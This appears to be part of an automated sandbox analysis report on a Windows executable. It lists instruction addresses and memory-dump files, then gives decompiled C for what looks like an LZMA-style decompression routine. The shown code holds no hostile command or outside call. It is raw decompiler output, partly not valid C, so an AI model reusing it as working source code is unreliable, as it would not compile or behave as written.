                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c1c
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x00000000
                                                                                    0x00407048
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x004071ab
                                                                                    0x004071b1
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x0040700d
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x00406f5f

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 76451a61548a05875e54a201c0622e54c4b3ee1b55beed09f1cff06290f44a2f
                                                                                    • Instruction ID: 66e4c3ae890465860883969c5b36e42f4395a0ef1606ee2efde14a16b44166c2
                                                                                    • Opcode Fuzzy Hash: 76451a61548a05875e54a201c0622e54c4b3ee1b55beed09f1cff06290f44a2f
                                                                                    • Instruction Fuzzy Hash: F9913171D04229CBDF28CF98C8447ADBBB1FF44305F14816AD856BB281C778AA86DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406C71() {
                                                                                    				unsigned short _t532;
                                                                                    				signed int _t533;
                                                                                    				void _t534;
                                                                                    				void* _t535;
                                                                                    				signed int _t536;
                                                                                    				signed int _t565;
                                                                                    				signed int _t568;
                                                                                    				signed int _t589;
                                                                                    				signed int* _t606;
                                                                                    				void* _t613;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t613 - 0x40) != 0) {
                                                                                    						L89:
                                                                                    						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
                                                                                    						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
                                                                                    						L69:
                                                                                    						_t606 =  *(_t613 - 0x58);
                                                                                    						 *(_t613 - 0x84) = 0x12;
                                                                                    						L132:
                                                                                    						 *(_t613 - 0x54) = _t606;
                                                                                    						L133:
                                                                                    						_t532 =  *_t606;
                                                                                    						_t589 = _t532 & 0x0000ffff;
                                                                                    						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                    						if( *(_t613 - 0xc) >= _t565) {
                                                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                    							 *(_t613 - 0x40) = 1;
                                                                                    							_t533 = _t532 - (_t532 >> 5);
                                                                                    							 *_t606 = _t533;
                                                                                    						} else {
                                                                                    							 *(_t613 - 0x10) = _t565;
                                                                                    							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    							 *_t606 = (0x800 - _t589 >> 5) + _t532;
                                                                                    						}
                                                                                    						if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                    							L139:
                                                                                    							_t534 =  *(_t613 - 0x84);
                                                                                    							L140:
                                                                                    							 *(_t613 - 0x88) = _t534;
                                                                                    							goto L1;
                                                                                    						} else {
                                                                                    							L137:
                                                                                    							if( *(_t613 - 0x6c) == 0) {
                                                                                    								 *(_t613 - 0x88) = 5;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    							goto L139;
                                                                                    						}
                                                                                    					} else {
                                                                                    						if( *(__ebp - 0x60) == 0) {
                                                                                    							L171:
                                                                                    							_t536 = _t535 | 0xffffffff;
                                                                                    							L172:
                                                                                    							return _t536;
                                                                                    						}
                                                                                    						__eax = 0;
                                                                                    						_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    						0 | _t258 = _t258 + _t258 + 9;
                                                                                    						 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                    						L75:
                                                                                    						if( *(__ebp - 0x64) == 0) {
                                                                                    							 *(__ebp - 0x88) = 0x1b;
                                                                                    							L170:
                                                                                    							_t568 = 0x22;
                                                                                    							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                    							_t536 = 0;
                                                                                    							goto L172;
                                                                                    						}
                                                                                    						__eax =  *(__ebp - 0x14);
                                                                                    						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    						if(__eax >=  *(__ebp - 0x74)) {
                                                                                    							__eax = __eax +  *(__ebp - 0x74);
                                                                                    						}
                                                                                    						__edx =  *(__ebp - 8);
                                                                                    						__cl =  *(__eax + __edx);
                                                                                    						__eax =  *(__ebp - 0x14);
                                                                                    						 *(__ebp - 0x5c) = __cl;
                                                                                    						 *(__eax + __edx) = __cl;
                                                                                    						__eax = __eax + 1;
                                                                                    						__edx = 0;
                                                                                    						_t274 = __eax %  *(__ebp - 0x74);
                                                                                    						__eax = __eax /  *(__ebp - 0x74);
                                                                                    						__edx = _t274;
                                                                                    						__eax =  *(__ebp - 0x68);
                                                                                    						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    						_t283 = __ebp - 0x64;
                                                                                    						 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                    						 *( *(__ebp - 0x68)) = __cl;
                                                                                    						L79:
                                                                                    						 *(__ebp - 0x14) = __edx;
                                                                                    						L80:
                                                                                    						 *(__ebp - 0x88) = 2;
                                                                                    					}
                                                                                    					L1:
                                                                                    					_t535 =  *(_t613 - 0x88);
                                                                                    					if(_t535 > 0x1c) {
                                                                                    						goto L171;
                                                                                    					}
                                                                                    					switch( *((intOrPtr*)(_t535 * 4 +  &M004071C8))) {
                                                                                    						case 0:
                                                                                    							if( *(_t613 - 0x6c) == 0) {
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    							_t535 =  *( *(_t613 - 0x70));
                                                                                    							if(_t535 > 0xe1) {
                                                                                    								goto L171;
                                                                                    							}
                                                                                    							_t539 = _t535 & 0x000000ff;
                                                                                    							_push(0x2d);
                                                                                    							asm("cdq");
                                                                                    							_pop(_t570);
                                                                                    							_push(9);
                                                                                    							_pop(_t571);
                                                                                    							_t609 = _t539 / _t570;
                                                                                    							_t541 = _t539 % _t570 & 0x000000ff;
                                                                                    							asm("cdq");
                                                                                    							_t604 = _t541 % _t571 & 0x000000ff;
                                                                                    							 *(_t613 - 0x3c) = _t604;
                                                                                    							 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                    							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
                                                                                    							_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                    							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                    								L10:
                                                                                    								if(_t612 == 0) {
                                                                                    									L12:
                                                                                    									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                    									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    									goto L15;
                                                                                    								} else {
                                                                                    									goto L11;
                                                                                    								}
                                                                                    								do {
                                                                                    									L11:
                                                                                    									_t612 = _t612 - 1;
                                                                                    									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                    								} while (_t612 != 0);
                                                                                    								goto L12;
                                                                                    							}
                                                                                    							if( *(_t613 - 4) != 0) {
                                                                                    								GlobalFree( *(_t613 - 4));
                                                                                    							}
                                                                                    							_t535 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    							 *(_t613 - 4) = _t535;
                                                                                    							if(_t535 == 0) {
                                                                                    								goto L171;
                                                                                    							} else {
                                                                                    								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                    								goto L10;
                                                                                    							}
                                                                                    						case 1:
                                                                                    							L13:
                                                                                    							__eflags =  *(_t613 - 0x6c);
                                                                                    							if( *(_t613 - 0x6c) == 0) {
                                                                                    								 *(_t613 - 0x88) = 1;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    							_t45 = _t613 - 0x48;
                                                                                    							 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                    							__eflags =  *_t45;
                                                                                    							L15:
                                                                                    							if( *(_t613 - 0x48) < 4) {
                                                                                    								goto L13;
                                                                                    							}
                                                                                    							_t547 =  *(_t613 - 0x40);
                                                                                    							if(_t547 ==  *(_t613 - 0x74)) {
                                                                                    								L20:
                                                                                    								 *(_t613 - 0x48) = 5;
                                                                                    								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                    								goto L23;
                                                                                    							}
                                                                                    							 *(_t613 - 0x74) = _t547;
                                                                                    							if( *(_t613 - 8) != 0) {
                                                                                    								GlobalFree( *(_t613 - 8));
                                                                                    							}
                                                                                    							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                                                    							 *(_t613 - 8) = _t535;
                                                                                    							if(_t535 == 0) {
                                                                                    								goto L171;
                                                                                    							} else {
                                                                                    								goto L20;
                                                                                    							}
                                                                                    						case 2:
                                                                                    							L24:
                                                                                    							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                    							 *(_t613 - 0x84) = 6;
                                                                                    							 *(_t613 - 0x4c) = _t554;
                                                                                    							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
                                                                                    							goto L132;
                                                                                    						case 3:
                                                                                    							L21:
                                                                                    							__eflags =  *(_t613 - 0x6c);
                                                                                    							if( *(_t613 - 0x6c) == 0) {
                                                                                    								 *(_t613 - 0x88) = 3;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    							_t67 = _t613 - 0x70;
                                                                                    							 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                    							__eflags =  *_t67;
                                                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    							L23:
                                                                                    							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                    							if( *(_t613 - 0x48) != 0) {
                                                                                    								goto L21;
                                                                                    							}
                                                                                    							goto L24;
                                                                                    						case 4:
                                                                                    							goto L133;
                                                                                    						case 5:
                                                                                    							goto L137;
                                                                                    						case 6:
                                                                                    							__edx = 0;
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__ecx =  *(__ebp - 0x38);
                                                                                    								 *(__ebp - 0x34) = 1;
                                                                                    								 *(__ebp - 0x84) = 7;
                                                                                    								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    								goto L132;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    							__esi =  *(__ebp - 0x60);
                                                                                    							__cl = 8;
                                                                                    							__cl = 8 -  *(__ebp - 0x3c);
                                                                                    							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    							__ecx =  *(__ebp - 0x3c);
                                                                                    							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    							__ecx =  *(__ebp - 4);
                                                                                    							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    							__eflags =  *(__ebp - 0x38) - 4;
                                                                                    							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    							if( *(__ebp - 0x38) >= 4) {
                                                                                    								__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    								if( *(__ebp - 0x38) >= 0xa) {
                                                                                    									_t98 = __ebp - 0x38;
                                                                                    									 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    									__eflags =  *_t98;
                                                                                    								} else {
                                                                                    									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    								}
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x38) = 0;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    							if( *(__ebp - 0x34) == __edx) {
                                                                                    								__ebx = 0;
                                                                                    								__ebx = 1;
                                                                                    								goto L61;
                                                                                    							} else {
                                                                                    								__eax =  *(__ebp - 0x14);
                                                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                                                    									__eflags = __eax;
                                                                                    								}
                                                                                    								__ecx =  *(__ebp - 8);
                                                                                    								__ebx = 0;
                                                                                    								__ebx = 1;
                                                                                    								__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    								goto L41;
                                                                                    							}
                                                                                    						case 7:
                                                                                    							__eflags =  *(__ebp - 0x40) - 1;
                                                                                    							if( *(__ebp - 0x40) != 1) {
                                                                                    								__eax =  *(__ebp - 0x24);
                                                                                    								 *(__ebp - 0x80) = 0x16;
                                                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    								__eax =  *(__ebp - 0x28);
                                                                                    								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    								__eax =  *(__ebp - 0x2c);
                                                                                    								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    								__eax = 0;
                                                                                    								__eflags =  *(__ebp - 0x38) - 7;
                                                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    								__al = __al & 0x000000fd;
                                                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__eax =  *(__ebp - 4) + 0x664;
                                                                                    								__eflags = __eax;
                                                                                    								 *(__ebp - 0x58) = __eax;
                                                                                    								goto L69;
                                                                                    							}
